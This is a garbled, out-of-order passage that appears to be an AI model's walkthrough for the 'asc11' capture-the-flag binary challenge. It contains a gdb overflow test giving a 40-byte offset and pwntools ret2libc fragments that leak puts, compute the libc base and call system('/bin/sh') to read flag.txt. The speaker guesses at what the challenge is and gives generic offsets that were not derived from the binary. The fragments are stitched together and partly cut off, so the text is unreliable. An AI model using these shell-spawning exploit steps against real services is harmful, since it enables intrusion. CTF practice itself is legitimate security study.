./asc11 It prints "Input: " , waits for input, then exits. Open in Ghidra/IDA. The main function:

p.interactive() Run exploit → shell → cat flag.txt . If you provide the actual binary and server info , I can tailor the exact exploit, offsets, and libc version. Does this match your ASC 11 challenge? asc 11

Here’s a (likely referring to the 11th Allied Security CTF challenge, or a similar “ASC” CTF / wargame). gdb ./asc11 r &lt

gdb ./asc11 r < <(python3 -c "print('A'*50)") Crash at RIP = 0x4141414141414141 → offset 40. Check if there’s a win or shell function:

leak = u64(p.recvline().strip().ljust(8, b'\x00')) libc.address = leak - libc.symbols['puts'] log.success(f'Libc base: hex(libc.address)') rop2 = ROP(libc) rop2.system(next(libc.search(b'/bin/sh')))
